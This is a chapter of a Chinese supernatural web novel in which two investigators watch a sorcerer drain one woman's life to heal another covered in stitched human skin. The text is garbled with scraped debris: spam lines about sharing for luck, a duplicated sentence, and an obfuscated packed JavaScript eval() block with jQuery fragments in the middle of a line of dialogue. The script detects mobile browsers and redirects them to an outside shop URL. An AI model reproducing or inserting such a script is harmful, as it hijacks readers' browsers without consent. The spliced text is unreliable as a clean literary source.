一股混杂着千年陈腐、阴湿潮气的气息涌了上来呛得陆子潇忍不住咳嗽了两声。
“这味儿比老白的鸟窝还冲。”
他捏着鼻子抱怨却难掩眼底的兴奋跃跃欲试就要走下去。
“等等!”
钟默见状连忙喊道。
“先跟苏局汇报一下。”
陆子潇闻言转念一想抿了抿嘴唇。
“也好留个遗书备个案。”
说着他掏出手机简单总结了一下这里的情况发了条消息给苏九娘。
钟默早就习惯了陆子潇的口无遮拦但他也知道他们二人这次歪打正着的行动恐怕确实将非常凶险。
但是机会稍纵即逝。
钟默掏出强光手电光柱射入洞口照亮了一条蜿蜒向下的青黑色石阶。
石阶表面布满青苔湿滑难行两侧的岩壁上凝结着水珠。
每隔几步就嵌着一盏早已熄灭的青铜油灯
钟默率先踏上石阶。
陆子潇紧随其后踩着石阶向下走每一步都小心翼翼。
“你说这沈家真是胆子大唉竟然在龙丘塔下辟了这么一条路。”
“你同学提到的那个专家果然没说错这条道我约莫着就是通往吴王墓的!那词叫什么来着?”
“灯下黑。”
“没错就是灯下黑。”
二人轻声交谈着约莫走了五分钟
石阶陡峭两人走了约莫五分钟转过三个直角弯道后前方终于出现一丝微光。
伴随着低沉的念咒声断断续续传来带着一股诡异的焏场波动。
“到了。”
钟默关掉手电示意陆子潇屏住呼吸。两人贴着岩壁缓缓靠近石阶尽头。
石阶尽头是一条宽敞的长廊长廊两侧立着一个个石俑石俑面容狰狞手持戈矛身上落满灰尘却依旧透着一股肃杀之气。
长廊尽头是一片开阔的空地地面铺满了干燥的黄沙显然是为了防潮防滑。
空地中央的景象让两人瞬间屏住了呼吸。
只见空地中央并排摆着两张古朴的木床床上各躺着一个全裸的
听说看这本书的人都是很幸运的,分享后你的运气会更棒
女人。
左侧床上的女人身材火辣,妆容妖艳,眼角眉梢带着一股媚态,此刻却面色惨白。
浑身皮肤下仿佛有什么东西在蠕动,从她体内不断升腾出淡红色的雾气,如同有生命般,缓缓流向右侧的木床。
右侧床上的年轻女人身形纤细,肌肤白皙得近乎透明,只是身上有几处地方被大片的人皮覆盖。
人皮边缘与她的皮肤拼接在一起,缝线处还残留着暗红色的痂,看着令人毛骨悚然。
她闭着眼睛,眉头微蹙,似乎在承受某种痛苦,又像是在享受某种滋养。
两张木床的床头,一个削瘦却俊朗的中年男人正站在那里,一身黑袍,双手掐诀,口中念念有词。
定持祸!
钟默强压下心头复仇的怒火,继续观察。
只见定持祸周身炁场翻腾,红色雾气在他的操控下,如同丝带般缠绕在年轻女人周身,缓缓渗入她的体内。
木床下方,黄沙之下隐隐有炁场高速流转,地面似乎用朱砂勾勒出一片复杂的法阵纹路。
与红色雾气遥相呼应,显然是一个正在运转的小型法阵。
在定持祸身后,站着四名身着黑色制服的精壮青年,个个眼神冰冷,气息沉稳,想来应该是长生盟的死士。
而空地的另一侧,站着四名中年男女,衣着考究,气质不凡。
两人定睛一看,发现正是沈家二代的核心成员——沈建斌、沈建国、沈建军三兄弟,以及他们的幺妹沈雪琴!
沈家众人神色凝重。
尤其是沈建斌,他面色凝重,紧盯着床上的年轻女人,眼神里满是急切。
“那就是沈星渝吧?
陆子潇压低声音,指了指右侧床上的年轻女人。
“没想到长得这么漂亮,可惜身上贴了层人皮,怪渗人的。
钟默点点头,目光落在沈星渝身上。
她的五官精致柔和,睫毛纤长,即便闭着眼睛,也能看出是个美人胚子。
只是那几片突兀的人皮,以及她身上偶尔流转而过的死气,让她透着一股诡异的美感。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162896|196600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
左边那个女人,应该是用来给她提供生机的祭品,可能是定持祸的画皮!
钟默沉声说道。
“看来
听说看这本书的人都是很幸运的,分享后你的运气会更棒
他也是下了血本,不惜用自己好不容易炼制的画皮来替沈星渝治疗。”
话音刚落,定持祸突然加大了念咒的音量,双手结印的速度越来越快。
红色雾气陡然变得浓郁,如同潮水般涌向沈星渝,她身上的人皮开始微微蠕动。
与她的皮肤贴合得愈发紧密,缝线处的痕迹渐渐变淡,像是在慢慢融合。
而左侧床上的妖艳女人,身形以肉眼可见的速度变得干瘪,皮肤失去了光泽,变得枯槁发黄,原本饱满的身材迅速消瘦。
最后竟成了一具皮包骨的枯萎干尸。
“成了!”
沈建斌忍不住低喝一声,语气中满是激动。
定持祸缓缓收印,念咒声停止,红色雾气渐渐消散,融入沈星渝体内。
他转过身,脸上带着一丝疲惫,却难掩得意。
“沈先生,幸不辱命。”
沈星渝缓缓睁开眼睛,那双眼睛灵动清澈,带着一丝刚苏醒的迷茫。
她抬手摸了摸自己的脸颊,又看了看身上的皮肤,原本覆盖的人皮已经完全消失。
肌肤光滑细腻,看不出丝毫受损的痕迹,仿佛她从未得过那种怪病。
“多谢定持祸大人。”
沈星渝的声音清脆动听,带着一丝感激,挣扎着想要下床。
沈建斌连忙上前扶住她,递过一件早已准备好的丝绸长袍。
“星渝,感觉怎么样?有没有哪里不舒服?”
“大伯,我没事,感觉从来没有这么好过。”
沈星渝微微一笑,笑容明媚,与之前的诡异判若两人。
定持祸看着这一幕,嘴角勾起一抹冷笑。
“沈先生,我的诚意已经足够了。接下来,该你们履行约定了。”
定持祸站在原地,黑袍下摆无风自动,眼底的疲惫被急切取代,目光死死盯着空地另一侧那扇刻满古朴铭文的青石大门。